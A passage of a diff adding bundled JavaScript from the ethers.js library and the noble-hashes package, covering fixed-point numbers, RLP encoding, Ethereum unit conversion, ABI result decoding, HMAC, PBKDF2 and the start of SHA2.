larger and ``0`` implies + * both are equal. + */ + cmp(other) { + let a = this.value, b = other.value; + // Coerce a and b to the same magnitude + const delta = this.decimals - other.decimals; + if (delta > 0) { + b *= getTens(delta); + } + else if (delta < 0) { + a *= getTens(-delta); + } + // Comnpare + if (a < b) { + return -1; + } + if (a > b) { + return 1; + } + return 0; + } + /** + * Returns true if %%other%% is equal to %%this%%. + */ + eq(other) { return this.cmp(other) === 0; } + /** + * Returns true if %%other%% is less than to %%this%%. + */ + lt(other) { return this.cmp(other) < 0; } + /** + * Returns true if %%other%% is less than or equal to %%this%%. + */ + lte(other) { return this.cmp(other) <= 0; } + /** + * Returns true if %%other%% is greater than to %%this%%. + */ + gt(other) { return this.cmp(other) > 0; } + /** + * Returns true if %%other%% is greater than or equal to %%this%%. + */ + gte(other) { return this.cmp(other) >= 0; } + /** + * Returns a new [[FixedNumber]] which is the largest **integer** + * that is less than or equal to %%this%%. + * + * The decimal component of the result will always be ``0``. + */ + floor() { + let val = this.#val; + if (this.#val < BN_0$8) { + val -= this.#tens - BN_1$4; + } + val = (this.#val / this.#tens) * this.#tens; + return this.#checkValue(val, "floor"); + } + /** + * Returns a new [[FixedNumber]] which is the smallest **integer** + * that is greater than or equal to %%this%%. + * + * The decimal component of the result will always be ``0``. + */ + ceiling() { + let val = this.#val; + if (this.#val > BN_0$8) { + val += this.#tens - BN_1$4; + } + val = (this.#val / this.#tens) * this.#tens; + return this.#checkValue(val, "ceiling"); + } + /** + * Returns a new [[FixedNumber]] with the decimal component + * rounded up on ties at %%decimals%% places. + */ + round(decimals) { + if (decimals == null) { + decimals = 0; + } + // Not enough precision to not already be rounded + if (decimals >= this.decimals) { + return this; + } + const delta = this.decimals - decimals; + const bump = BN_5 * getTens(delta - 1); + let value = this.value + bump; + const tens = getTens(delta); + value = (value / tens) * tens; + checkValue(value, this.#format, "round"); + return new FixedNumber(_guard$5, value, this.#format); + } + /** + * Returns true if %%this%% is equal to ``0``. + */ + isZero() { return (this.#val === BN_0$8); } + /** + * Returns true if %%this%% is less than ``0``. + */ + isNegative() { return (this.#val < BN_0$8); } + /** + * Returns the string representation of %%this%%. + */ + toString() { return this._value; } + /** + * Returns a float approximation. + * + * Due to IEEE 754 precission (or lack thereof), this function + * can only return an approximation and most values will contain + * rounding errors. + */ + toUnsafeFloat() { return parseFloat(this.toString()); } + /** + * Return a new [[FixedNumber]] with the same value but has had + * its field set to %%format%%. + * + * This will throw if the value cannot fit into %%format%%. + */ + toFormat(format) { + return FixedNumber.fromString(this.toString(), format); + } + /** + * Creates a new [[FixedNumber]] for %%value%% divided by + * %%decimal%% places with %%format%%. + * + * This will throw a [[NumericFaultError]] if %%value%% (once adjusted + * for %%decimals%%) cannot fit in %%format%%, either due to overflow + * or underflow (precision loss). + */ + static fromValue(_value, _decimals, _format) { + const decimals = (_decimals == null) ? 0 : getNumber(_decimals); + const format = getFormat(_format); + let value = getBigInt(_value, "value"); + const delta = decimals - format.decimals; + if (delta > 0) { + const tens = getTens(delta); + assert((value % tens) === BN_0$8, "value loses precision for format", "NUMERIC_FAULT", { + operation: "fromValue", fault: "underflow", value: _value + }); + value /= tens; + } + else if (delta < 0) { + value *= getTens(-delta); + } + checkValue(value, format, "fromValue"); + return new FixedNumber(_guard$5, value, format); + } + /** + * Creates a new [[FixedNumber]] for %%value%% with %%format%%. + * + * This will throw a [[NumericFaultError]] if %%value%% cannot fit + * in %%format%%, either due to overflow or underflow (precision loss). + */ + static fromString(_value, _format) { + const match = _value.match(/^(-?)([0-9]*)\.?([0-9]*)$/); + assertArgument(match && (match[2].length + match[3].length) > 0, "invalid FixedNumber string value", "value", _value); + const format = getFormat(_format); + let whole = (match[2] || "0"), decimal = (match[3] || ""); + // Pad out the decimals + while (decimal.length < format.decimals) { + decimal += Zeros$1; + } + // Check precision is safe + assert(decimal.substring(format.decimals).match(/^0*$/), "too many decimals for format", "NUMERIC_FAULT", { + operation: "fromString", fault: "underflow", value: _value + }); + // Remove extra padding + decimal = decimal.substring(0, format.decimals); + const value = BigInt(match[1] + whole + decimal); + checkValue(value, format, "fromString"); + return new FixedNumber(_guard$5, value, format); + } + /** + * Creates a new [[FixedNumber]] with the big-endian representation + * %%value%% with %%format%%. + * + * This will throw a [[NumericFaultError]] if %%value%% cannot fit + * in %%format%% due to overflow. + */ + static fromBytes(_value, _format) { + let value = toBigInt(getBytes(_value, "value")); + const format = getFormat(_format); + if (format.signed) { + value = fromTwos(value, format.width); + } + checkValue(value, format, "fromBytes"); + return new FixedNumber(_guard$5, value, format); + } + } + //const f1 = FixedNumber.fromString("12.56", "fixed16x2"); + //const f2 = FixedNumber.fromString("0.3", "fixed16x2"); + //console.log(f1.divSignal(f2)); + //const BUMP = FixedNumber.from("0.5"); + + //See: https://github.com/ethereum/wiki/wiki/RLP + function hexlifyByte(value) { + let result = value.toString(16); + while (result.length < 2) { + result = "0" + result; + } + return "0x" + result; + } + function unarrayifyInteger(data, offset, length) { + let result = 0; + for (let i = 0; i < length; i++) { + result = (result * 256) + data[offset + i]; + } + return result; + } + function _decodeChildren(data, offset, childOffset, length) { + const result = []; + while (childOffset < offset + 1 + length) { + const decoded = _decode(data, childOffset); + result.push(decoded.result); + childOffset += decoded.consumed; + assert(childOffset <= offset + 1 + length, "child data too short", "BUFFER_OVERRUN", { + buffer: data, length, offset + }); + } + return { consumed: (1 + length), result: result }; + } + // returns { consumed: number, result: Object } + function _decode(data, offset) { + assert(data.length !== 0, "data too short", "BUFFER_OVERRUN", { + buffer: data, length: 0, offset: 1 + }); + const checkOffset = (offset) => { + assert(offset <= data.length, "data short segment too short", "BUFFER_OVERRUN", { + buffer: data, length: data.length, offset + }); + }; + // Array with extra length prefix + if (data[offset] >= 0xf8) { + const lengthLength = data[offset] - 0xf7; + checkOffset(offset + 1 + lengthLength); + const length = unarrayifyInteger(data, offset + 1, lengthLength); + checkOffset(offset + 1 + lengthLength + length); + return _decodeChildren(data, offset, offset + 1 + lengthLength, lengthLength + length); + } + else if (data[offset] >= 0xc0) { + const length = data[offset] - 0xc0; + checkOffset(offset + 1 + length); + return _decodeChildren(data, offset, offset + 1, length); + } + else if (data[offset] >= 0xb8) { + const lengthLength = data[offset] - 0xb7; + checkOffset(offset + 1 + lengthLength); + const length = unarrayifyInteger(data, offset + 1, lengthLength); + checkOffset(offset + 1 + lengthLength + length); + const result = hexlify(data.slice(offset + 1 + lengthLength, offset + 1 + lengthLength + length)); + return { consumed: (1 + lengthLength + length), result: result }; + } + else if (data[offset] >= 0x80) { + const length = data[offset] - 0x80; + checkOffset(offset + 1 + length); + const result = hexlify(data.slice(offset + 1, offset + 1 + length)); + return { consumed: (1 + length), result: result }; + } + return { consumed: 1, result: hexlifyByte(data[offset]) }; + } + /** + * Decodes %%data%% into the structured data it represents. + */ + function decodeRlp(_data) { + const data = getBytes(_data, "data"); + const decoded = _decode(data, 0); + assertArgument(decoded.consumed === data.length, "unexpected junk after rlp payload", "data", _data); + return decoded.result; + } + + //See: https://github.com/ethereum/wiki/wiki/RLP + function arrayifyInteger(value) { + const result = []; + while (value) { + result.unshift(value & 0xff); + value >>= 8; + } + return result; + } + function _encode(object) { + if (Array.isArray(object)) { + let payload = []; + object.forEach(function (child) { + payload = payload.concat(_encode(child)); + }); + if (payload.length <= 55) { + payload.unshift(0xc0 + payload.length); + return payload; + } + const length = arrayifyInteger(payload.length); + length.unshift(0xf7 + length.length); + return length.concat(payload); + } + const data = Array.prototype.slice.call(getBytes(object, "object")); + if (data.length === 1 && data[0] <= 0x7f) { + return data; + } + else if (data.length <= 55) { + data.unshift(0x80 + data.length); + return data; + } + const length = arrayifyInteger(data.length); + length.unshift(0xb7 + length.length); + return length.concat(data); + } + const nibbles = "0123456789abcdef"; + /** + * Encodes %%object%% as an RLP-encoded [[DataHexString]]. + */ + function encodeRlp(object) { + let result = "0x"; + for (const v of _encode(object)) { + result += nibbles[v >> 4]; + result += nibbles[v & 0xf]; + } + return result; + } + + /** + * Most interactions with Ethereum requires integer values, which use + * the smallest magnitude unit. + * + * For example, imagine dealing with dollars and cents. Since dollars + * are divisible, non-integer values are possible, such as ``$10.77``. + * By using the smallest indivisible unit (i.e. cents), the value can + * be kept as the integer ``1077``. + * + * When receiving decimal input from the user (as a decimal string), + * the value should be converted to an integer and when showing a user + * a value, the integer value should be converted to a decimal string. + * + * This creates a clear distinction, between values to be used by code + * (integers) and values used for display logic to users (decimals). + * + * The native unit in Ethereum, //ether// is divisible to 18 decimal places, + * where each individual unit is called a //wei//. + * + * @_subsection api/utils:Unit Conversion [about-units] + */ + const names = [ + "wei", + "kwei", + "mwei", + "gwei", + "szabo", + "finney", + "ether", + ]; + /** + * Converts %%value%% into a //decimal string//, assuming %%unit%% decimal + * places. The %%unit%% may be the number of decimal places or the name of + * a unit (e.g. ``"gwei"`` for 9 decimal places). + * + */ + function formatUnits(value, unit) { + let decimals = 18; + if (typeof (unit) === "string") { + const index = names.indexOf(unit); + assertArgument(index >= 0, "invalid unit", "unit", unit); + decimals = 3 * index; + } + else if (unit != null) { + decimals = getNumber(unit, "unit"); + } + return FixedNumber.fromValue(value, decimals, { decimals, width: 512 }).toString(); + } + /** + * Converts the //decimal string// %%value%% to a BigInt, assuming + * %%unit%% decimal places. The %%unit%% may the number of decimal places + * or the name of a unit (e.g. ``"gwei"`` for 9 decimal places). + */ + function parseUnits$1(value, unit) { + assertArgument(typeof (value) === "string", "value must be a string", "value", value); + let decimals = 18; + if (typeof (unit) === "string") { + const index = names.indexOf(unit); + assertArgument(index >= 0, "invalid unit", "unit", unit); + decimals = 3 * index; + } + else if (unit != null) { + decimals = getNumber(unit, "unit"); + } + return FixedNumber.fromString(value, { decimals, width: 512 }).value; + } + /** + * Converts %%value%% into a //decimal string// using 18 decimal places. + */ + function formatEther(wei) { + return formatUnits(wei, 18); + } + /** + * Converts the //decimal string// %%ether%% to a BigInt, using 18 + * decimal places. + */ + function parseEther(ether) { + return parseUnits$1(ether, 18); + } + + /** + * Explain UUID and link to RFC here. + * + * @_subsection: api/utils:UUID [about-uuid] + */ + /** + * Returns the version 4 [[link-uuid]] for the %%randomBytes%%. + * + * @see: https://www.ietf.org/rfc/rfc4122.txt (Section 4.4) + */ + function uuidV4(randomBytes) { + const bytes = getBytes(randomBytes, "randomBytes"); + // Section: 4.1.3: + // - time_hi_and_version[12:16] = 0b0100 + bytes[6] = (bytes[6] & 0x0f) | 0x40; + // Section 4.4 + // - clock_seq_hi_and_reserved[6] = 0b0 + // - clock_seq_hi_and_reserved[7] = 0b1 + bytes[8] = (bytes[8] & 0x3f) | 0x80; + const value = hexlify(bytes); + return [ + value.substring(2, 10), + value.substring(10, 14), + value.substring(14, 18), + value.substring(18, 22), + value.substring(22, 34), + ].join("-"); + } + + /** + * @_ignore: + */ + const WordSize = 32; + const Padding = new Uint8Array(WordSize); + // Properties used to immediate pass through to the underlying object + // - `then` is used to detect if an object is a Promise for await + const passProperties$1 = ["then"]; + const _guard$4 = {}; + const resultNames = new WeakMap(); + function getNames(result) { + return resultNames.get(result); + } + function setNames(result, names) { + resultNames.set(result, names); + } + function throwError(name, error) { + const wrapped = new Error(`deferred error during ABI decoding triggered accessing ${name}`); + wrapped.error = error; + throw wrapped; + } + function toObject(names, items, deep) { + if (names.indexOf(null) >= 0) { + return items.map((item, index) => { + if (item instanceof Result) { + return toObject(getNames(item), item, deep); + } + return item; + }); + } + return names.reduce((accum, name, index) => { + let item = items.getValue(name); + if (!(name in accum)) { + if (deep && item instanceof Result) { + item = toObject(getNames(item), item, deep); + } + accum[name] = item; + } + return accum; + }, {}); + } + /** + * A [[Result]] is a sub-class of Array, which allows accessing any + * of its values either positionally by its index or, if keys are + * provided by its name. + * + * @_docloc: api/abi + */ + class Result extends Array { + // No longer used; but cannot be removed as it will remove the + // #private field from the .d.ts which may break backwards + // compatibility + #names; + /** + * @private + */ + constructor(...args) { + // To properly sub-class Array so the other built-in + // functions work, the constructor has to behave fairly + // well. So, in the event we are created via fromItems() + // we build the read-only Result object we want, but on + // any other input, we use the default constructor + // constructor(guard: any, items: Array, keys?: Array); + const guard = args[0]; + let items = args[1]; + let names = (args[2] || []).slice(); + let wrap = true; + if (guard !== _guard$4) { + items = args; + names = []; + wrap = false; + } + // Can't just pass in ...items since an array of length 1 + // is a special case in the super. + super(items.length); + items.forEach((item, index) => { this[index] = item; }); + // Find all unique keys + const nameCounts = names.reduce((accum, name) => { + if (typeof (name) === "string") { + accum.set(name, (accum.get(name) || 0) + 1); + } + return accum; + }, (new Map())); + // Remove any key thats not unique + setNames(this, Object.freeze(items.map((item, index) => { + const name = names[index]; + if (name != null && nameCounts.get(name) === 1) { + return name; + } + return null; + }))); + // Dummy operations to prevent TypeScript from complaining + this.#names = []; + if (this.#names == null) { + void (this.#names); + } + if (!wrap) { + return; + } + // A wrapped Result is immutable + Object.freeze(this); + // Proxy indices and names so we can trap deferred errors + const proxy = new Proxy(this, { + get: (target, prop, receiver) => { + if (typeof (prop) === "string") { + // Index accessor + if (prop.match(/^[0-9]+$/)) { + const index = getNumber(prop, "%index"); + if (index < 0 || index >= this.length) { + throw new RangeError("out of result range"); + } + const item = target[index]; + if (item instanceof Error) { + throwError(`index ${index}`, item); + } + return item; + } + // Pass important checks (like `then` for Promise) through + if (passProperties$1.indexOf(prop) >= 0) { + return Reflect.get(target, prop, receiver); + } + const value = target[prop]; + if (value instanceof Function) { + // Make sure functions work with private variables + // See: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy#no_private_property_forwarding + return function (...args) { + return value.apply((this === receiver) ? target : this, args); + }; + } + else if (!(prop in target)) { + // Possible name accessor + return target.getValue.apply((this === receiver) ? target : this, [prop]); + } + } + return Reflect.get(target, prop, receiver); + } + }); + setNames(proxy, getNames(this)); + return proxy; + } + /** + * Returns the Result as a normal Array. If %%deep%%, any children + * which are Result objects are also converted to a normal Array. + * + * This will throw if there are any outstanding deferred + * errors. + */ + toArray(deep) { + const result = []; + this.forEach((item, index) => { + if (item instanceof Error) { + throwError(`index ${index}`, item); + } + if (deep && item instanceof Result) { + item = item.toArray(deep); + } + result.push(item); + }); + return result; + } + /** + * Returns the Result as an Object with each name-value pair. If + * %%deep%%, any children which are Result objects are also + * converted to an Object. + * + * This will throw if any value is unnamed, or if there are + * any outstanding deferred errors. + */ + toObject(deep) { + const names = getNames(this); + return names.reduce((accum, name, index) => { + assert(name != null, `value at index ${index} unnamed`, "UNSUPPORTED_OPERATION", { + operation: "toObject()" + }); + return toObject(names, this, deep); + }, {}); + } + /** + * @_ignore + */ + slice(start, end) { + if (start == null) { + start = 0; + } + if (start < 0) { + start += this.length; + if (start < 0) { + start = 0; + } + } + if (end == null) { + end = this.length; + } + if (end < 0) { + end += this.length; + if (end < 0) { + end = 0; + } + } + if (end > this.length) { + end = this.length; + } + const _names = getNames(this); + const result = [], names = []; + for (let i = start; i < end; i++) { + result.push(this[i]); + names.push(_names[i]); + } + return new Result(_guard$4, result, names); + } + /** + * @_ignore + */ + filter(callback, thisArg) { + const _names = getNames(this); + const result = [], names = []; + for (let i = 0; i < this.length; i++) { + const item = this[i]; + if (item instanceof Error) { + throwError(`index ${i}`, item); + } + if (callback.call(thisArg, item, i, this)) { + result.push(item); + names.push(_names[i]); + } + } + return new Result(_guard$4, result, names); + } + /** + * @_ignore + */ + map(callback, thisArg) { + const result = []; + for (let i = 0; i < this.length; i++) { + const item = this[i]; + if (item instanceof Error) { + throwError(`index ${i}`, item); + } + result.push(callback.call(thisArg, item, i, this)); + } + return result; + } + /** + * Returns the value for %%name%%. + * + * Since it is possible to have a key whose name conflicts with + * a method on a [[Result]] or its superclass Array, or any + * JavaScript keyword, this ensures all named values are still + * accessible by name. + */ + getValue(name) { + const index = getNames(this).indexOf(name); + if (index === -1) { + return undefined; + } + const value = this[index]; + if (value instanceof Error) { + throwError(`property ${JSON.stringify(name)}`, value.error); + } + return value; + } + /** + * Creates a new [[Result]] for %%items%% with each entry + * also accessible by its corresponding name in %%keys%%. + */ + static fromItems(items, keys) { + return new Result(_guard$4, items, keys); + } + } + /** + * Returns all errors found in a [[Result]]. + * + * Since certain errors encountered when creating a [[Result]] do + * not impact the ability to continue parsing data, they are + * deferred until they are actually accessed. Hence a faulty string + * in an Event that is never used does not impact the program flow. + * + * However, sometimes it may be useful to access, identify or + * validate correctness of a [[Result]]. + * + * @_docloc api/abi + */ + function checkResultErrors(result) { + // Find the first error (if any) + const errors = []; + const checkErrors = function (path, object) { + if (!Array.isArray(object)) { + return; + } + for (let key in object) { + const childPath = path.slice(); + childPath.push(key); + try { + checkErrors(childPath, object[key]); + } + catch (error) { + errors.push({ path: childPath, error: error }); + } + } + }; + checkErrors([], result); + return errors; + } + function getValue$1(value) { + let bytes = toBeArray(value); + assert(bytes.length <= WordSize, "value out-of-bounds", "BUFFER_OVERRUN", { buffer: bytes, length: WordSize, offset: bytes.length }); + if (bytes.length !== WordSize) { + bytes = getBytesCopy(concat([Padding.slice(bytes.length % WordSize), bytes])); + } + return bytes; + } + /** + * @_ignore + */ + class Coder { + // The coder name: + // - address, uint256, tuple, array, etc. + name; + // The fully expanded type, including composite types: + // - address, uint256, tuple(address,bytes), uint256[3][4][], etc. + type; + // The localName bound in the signature, in this example it is "baz": + // - tuple(address foo, uint bar) baz + localName; + // Whether this type is dynamic: + // - Dynamic: bytes, string, address[], tuple(boolean[]), etc. + // - Not Dynamic: address, uint256, boolean[3], tuple(address, uint8) + dynamic; + constructor(name, type, localName, dynamic) { + defineProperties(this, { name, type, localName, dynamic }, { + name: "string", type: "string", localName: "string", dynamic: "boolean" + }); + } + _throwError(message, value) { + assertArgument(false, message, this.localName, value); + } + } + /** + * @_ignore + */ + class Writer { + // An array of WordSize lengthed objects to concatenation + #data; + #dataLength; + constructor() { + this.#data = []; + this.#dataLength = 0; + } + get data() { + return concat(this.#data); + } + get length() { return this.#dataLength; } + #writeData(data) { + this.#data.push(data); + this.#dataLength += data.length; + return data.length; + } + appendWriter(writer) { + return this.#writeData(getBytesCopy(writer.data)); + } + // Arrayish item; pad on the right to *nearest* WordSize + writeBytes(value) { + let bytes = getBytesCopy(value); + const paddingOffset = bytes.length % WordSize; + if (paddingOffset) { + bytes = getBytesCopy(concat([bytes, Padding.slice(paddingOffset)])); + } + return this.#writeData(bytes); + } + // Numeric item; pad on the left *to* WordSize + writeValue(value) { + return this.#writeData(getValue$1(value)); + } + // Inserts a numeric place-holder, returning a callback that can + // be used to asjust the value later + writeUpdatableValue() { + const offset = this.#data.length; + this.#data.push(Padding); + this.#dataLength += WordSize; + return (value) => { + this.#data[offset] = getValue$1(value); + }; + } + } + /** + * @_ignore + */ + class Reader { + // Allows incomplete unpadded data to be read; otherwise an error + // is raised if attempting to overrun the buffer. This is required + // to deal with an old Solidity bug, in which event data for + // external (not public thoguh) was tightly packed. + allowLoose; + #data; + #offset; + #bytesRead; + #parent; + #maxInflation; + constructor(data, allowLoose, maxInflation) { + defineProperties(this, { allowLoose: !!allowLoose }); + this.#data = getBytesCopy(data); + this.#bytesRead = 0; + this.#parent = null; + this.#maxInflation = (maxInflation != null) ? maxInflation : 1024; + this.#offset = 0; + } + get data() { return hexlify(this.#data); } + get dataLength() { return this.#data.length; } + get consumed() { return this.#offset; } + get bytes() { return new Uint8Array(this.#data); } + #incrementBytesRead(count) { + if (this.#parent) { + return this.#parent.#incrementBytesRead(count); + } + this.#bytesRead += count; + // Check for excessive inflation (see: #4537) + assert(this.#maxInflation < 1 || this.#bytesRead <= this.#maxInflation * this.dataLength, `compressed ABI data exceeds inflation ratio of ${this.#maxInflation} ( see: https:/\/github.com/ethers-io/ethers.js/issues/4537 )`, "BUFFER_OVERRUN", { + buffer: getBytesCopy(this.#data), offset: this.#offset, + length: count, info: { + bytesRead: this.#bytesRead, + dataLength: this.dataLength + } + }); + } + #peekBytes(offset, length, loose) { + let alignedLength = Math.ceil(length / WordSize) * WordSize; + if (this.#offset + alignedLength > this.#data.length) { + if (this.allowLoose && loose && this.#offset + length <= this.#data.length) { + alignedLength = length; + } + else { + assert(false, "data out-of-bounds", "BUFFER_OVERRUN", { + buffer: getBytesCopy(this.#data), + length: this.#data.length, + offset: this.#offset + alignedLength + }); + } + } + return this.#data.slice(this.#offset, this.#offset + alignedLength); + } + // Create a sub-reader with the same underlying data, but offset + subReader(offset) { + const reader = new Reader(this.#data.slice(this.#offset + offset), this.allowLoose, this.#maxInflation); + reader.#parent = this; + return reader; + } + // Read bytes + readBytes(length, loose) { + let bytes = this.#peekBytes(0, length, !!loose); + this.#incrementBytesRead(length); + this.#offset += bytes.length; + // @TODO: Make sure the length..end bytes are all 0? + return bytes.slice(0, length); + } + // Read a numeric values + readValue() { + return toBigInt(this.readBytes(WordSize)); + } + readIndex() { + return toNumber(this.readBytes(WordSize)); + } + } + + function number(n) { + if (!Number.isSafeInteger(n) || n < 0) + throw new Error(`Wrong positive integer: ${n}`); + } + function bytes(b, ...lengths) { + if (!(b instanceof Uint8Array)) + throw new Error('Expected Uint8Array'); + if (lengths.length > 0 && !lengths.includes(b.length)) + throw new Error(`Expected Uint8Array of length ${lengths}, not of length=${b.length}`); + } + function hash(hash) { + if (typeof hash !== 'function' || typeof hash.create !== 'function') + throw new Error('Hash should be wrapped by utils.wrapConstructor'); + number(hash.outputLen); + number(hash.blockLen); + } + function exists(instance, checkFinished = true) { + if (instance.destroyed) + throw new Error('Hash instance has been destroyed'); + if (checkFinished && instance.finished) + throw new Error('Hash#digest() has already been called'); + } + function output(out, instance) { + bytes(out); + const min = instance.outputLen; + if (out.length < min) { + throw new Error(`digestInto() expects output buffer of length at least ${min}`); + } + } + + const crypto$1 = typeof globalThis === 'object' && 'crypto' in globalThis ? globalThis.crypto : undefined; + + /*! noble-hashes - MIT License (c) 2022 Paul Miller (paulmillr.com) */ + // We use WebCrypto aka globalThis.crypto, which exists in browsers and node.js 16+. + // node.js versions earlier than v19 don't declare it in global scope. + // For node.js, package.json#exports field mapping rewrites import + // from `crypto` to `cryptoNode`, which imports native module. + // Makes the utils un-importable in browsers without a bundler. + // Once node.js 18 is deprecated, we can just drop the import. + const u8a$1 = (a) => a instanceof Uint8Array; + const u32 = (arr) => new Uint32Array(arr.buffer, arr.byteOffset, Math.floor(arr.byteLength / 4)); + // Cast array to view + const createView = (arr) => new DataView(arr.buffer, arr.byteOffset, arr.byteLength); + // The rotate right (circular right shift) operation for uint32 + const rotr = (word, shift) => (word << (32 - shift)) | (word >>> shift); + // big-endian hardware is rare. Just in case someone still decides to run hashes: + // early-throw an error because we don't support BE yet. + const isLE = new Uint8Array(new Uint32Array([0x11223344]).buffer)[0] === 0x44; + if (!isLE) + throw new Error('Non little-endian hardware is not supported'); + // There is no setImmediate in browser and setTimeout is slow. + // call of async fn will return Promise, which will be fullfiled only on + // next scheduler queue processing step and this is exactly what we need. + const nextTick = async () => { }; + // Returns control to thread each 'tick' ms to avoid blocking + async function asyncLoop(iters, tick, cb) { + let ts = Date.now(); + for (let i = 0; i < iters; i++) { + cb(i); + // Date.now() is not monotonic, so in case if clock goes backwards we return return control too + const diff = Date.now() - ts; + if (diff >= 0 && diff < tick) + continue; + await nextTick(); + ts += diff; + } + } + /** + * @example utf8ToBytes('abc') // new Uint8Array([97, 98, 99]) + */ + function utf8ToBytes$1(str) { + if (typeof str !== 'string') + throw new Error(`utf8ToBytes expected string, got ${typeof str}`); + return new Uint8Array(new TextEncoder().encode(str)); // https://bugzil.la/1681809 + } + /** + * Normalizes (non-hex) string or Uint8Array to Uint8Array. + * Warning: when Uint8Array is passed, it would NOT get copied. + * Keep in mind for future mutable operations. + */ + function toBytes(data) { + if (typeof data === 'string') + data = utf8ToBytes$1(data); + if (!u8a$1(data)) + throw new Error(`expected Uint8Array, got ${typeof data}`); + return data; + } + /** + * Copies several Uint8Arrays into one. + */ + function concatBytes$1(...arrays) { + const r = new Uint8Array(arrays.reduce((sum, a) => sum + a.length, 0)); + let pad = 0; // walk through each item, ensure they have proper type + arrays.forEach((a) => { + if (!u8a$1(a)) + throw new Error('Uint8Array expected'); + r.set(a, pad); + pad += a.length; + }); + return r; + } + // For runtime check if class implements interface + class Hash { + // Safe version that clones internal state + clone() { + return this._cloneInto(); + } + } + const toStr = {}.toString; + function checkOpts(defaults, opts) { + if (opts !== undefined && toStr.call(opts) !== '[object Object]') + throw new Error('Options should be object or undefined'); + const merged = Object.assign(defaults, opts); + return merged; + } + function wrapConstructor(hashCons) { + const hashC = (msg) => hashCons().update(toBytes(msg)).digest(); + const tmp = hashCons(); + hashC.outputLen = tmp.outputLen; + hashC.blockLen = tmp.blockLen; + hashC.create = () => hashCons(); + return hashC; + } + /** + * Secure PRNG. Uses `crypto.getRandomValues`, which defers to OS. + */ + function randomBytes$2(bytesLength = 32) { + if (crypto$1 && typeof crypto$1.getRandomValues === 'function') { + return crypto$1.getRandomValues(new Uint8Array(bytesLength)); + } + throw new Error('crypto.getRandomValues must be defined'); + } + + // HMAC (RFC 2104) + class HMAC extends Hash { + constructor(hash$1, _key) { + super(); + this.finished = false; + this.destroyed = false; + hash(hash$1); + const key = toBytes(_key); + this.iHash = hash$1.create(); + if (typeof this.iHash.update !== 'function') + throw new Error('Expected instance of class which extends utils.Hash'); + this.blockLen = this.iHash.blockLen; + this.outputLen = this.iHash.outputLen; + const blockLen = this.blockLen; + const pad = new Uint8Array(blockLen); + // blockLen can be bigger than outputLen + pad.set(key.length > blockLen ? hash$1.create().update(key).digest() : key); + for (let i = 0; i < pad.length; i++) + pad[i] ^= 0x36; + this.iHash.update(pad); + // By doing update (processing of first block) of outer hash here we can re-use it between multiple calls via clone + this.oHash = hash$1.create(); + // Undo internal XOR && apply outer XOR + for (let i = 0; i < pad.length; i++) + pad[i] ^= 0x36 ^ 0x5c; + this.oHash.update(pad); + pad.fill(0); + } + update(buf) { + exists(this); + this.iHash.update(buf); + return this; + } + digestInto(out) { + exists(this); + bytes(out, this.outputLen); + this.finished = true; + this.iHash.digestInto(out); + this.oHash.update(out); + this.oHash.digestInto(out); + this.destroy(); + } + digest() { + const out = new Uint8Array(this.oHash.outputLen); + this.digestInto(out); + return out; + } + _cloneInto(to) { + // Create new instance without calling constructor since key already in state and we don't know it. + to || (to = Object.create(Object.getPrototypeOf(this), {})); + const { oHash, iHash, finished, destroyed, blockLen, outputLen } = this; + to = to; + to.finished = finished; + to.destroyed = destroyed; + to.blockLen = blockLen; + to.outputLen = outputLen; + to.oHash = oHash._cloneInto(to.oHash); + to.iHash = iHash._cloneInto(to.iHash); + return to; + } + destroy() { + this.destroyed = true; + this.oHash.destroy(); + this.iHash.destroy(); + } + } + /** + * HMAC: RFC2104 message authentication code. + * @param hash - function that would be used e.g. sha256 + * @param key - message key + * @param message - message data + */ + const hmac = (hash, key, message) => new HMAC(hash, key).update(message).digest(); + hmac.create = (hash, key) => new HMAC(hash, key); + + // Common prologue and epilogue for sync/async functions + function pbkdf2Init(hash$1, _password, _salt, _opts) { + hash(hash$1); + const opts = checkOpts({ dkLen: 32, asyncTick: 10 }, _opts); + const { c, dkLen, asyncTick } = opts; + number(c); + number(dkLen); + number(asyncTick); + if (c < 1) + throw new Error('PBKDF2: iterations (c) should be >= 1'); + const password = toBytes(_password); + const salt = toBytes(_salt); + // DK = PBKDF2(PRF, Password, Salt, c, dkLen); + const DK = new Uint8Array(dkLen); + // U1 = PRF(Password, Salt + INT_32_BE(i)) + const PRF = hmac.create(hash$1, password); + const PRFSalt = PRF._cloneInto().update(salt); + return { c, dkLen, asyncTick, DK, PRF, PRFSalt }; + } + function pbkdf2Output(PRF, PRFSalt, DK, prfW, u) { + PRF.destroy(); + PRFSalt.destroy(); + if (prfW) + prfW.destroy(); + u.fill(0); + return DK; + } + /** + * PBKDF2-HMAC: RFC 2898 key derivation function + * @param hash - hash function that would be used e.g. sha256 + * @param password - password from which a derived key is generated + * @param salt - cryptographic salt + * @param opts - {c, dkLen} where c is work factor and dkLen is output message size + */ + function pbkdf2$1(hash, password, salt, opts) { + const { c, dkLen, DK, PRF, PRFSalt } = pbkdf2Init(hash, password, salt, opts); + let prfW; // Working copy + const arr = new Uint8Array(4); + const view = createView(arr); + const u = new Uint8Array(PRF.outputLen); + // DK = T1 + T2 + ⋯ + Tdklen/hlen + for (let ti = 1, pos = 0; pos < dkLen; ti++, pos += PRF.outputLen) { + // Ti = F(Password, Salt, c, i) + const Ti = DK.subarray(pos, pos + PRF.outputLen); + view.setInt32(0, ti, false); + // F(Password, Salt, c, i) = U1 ^ U2 ^ ⋯ ^ Uc + // U1 = PRF(Password, Salt + INT_32_BE(i)) + (prfW = PRFSalt._cloneInto(prfW)).update(arr).digestInto(u); + Ti.set(u.subarray(0, Ti.length)); + for (let ui = 1; ui < c; ui++) { + // Uc = PRF(Password, Uc−1) + PRF._cloneInto(prfW).update(u).digestInto(u); + for (let i = 0; i < Ti.length; i++) + Ti[i] ^= u[i]; + } + } + return pbkdf2Output(PRF, PRFSalt, DK, prfW, u); + } + + // Polyfill for Safari 14 + function setBigUint64(view, byteOffset, value, isLE) { + if (typeof view.setBigUint64 === 'function') + return view.setBigUint64(byteOffset, value, isLE); + const _32n = BigInt(32); + const _u32_max = BigInt(0xffffffff); + const wh = Number((value >> _32n) & _u32_max); + const wl = Number(value & _u32_max); + const h = isLE ? 4 : 0; + const l = isLE ? 0 : 4; + view.setUint32(byteOffset + h, wh, isLE); + view.setUint32(byteOffset + l, wl, isLE); + } + // Base SHA2 class (RFC 6234) + class SHA2 extends Hash { + constructor(blockLen, outputLen, padOffset, isLE) { + super(); + this.blockLen = blockLen; + this.outputLen = outputLen; + this.padOffset = padOffset; + this.isLE = isLE; + this.finished = false; + 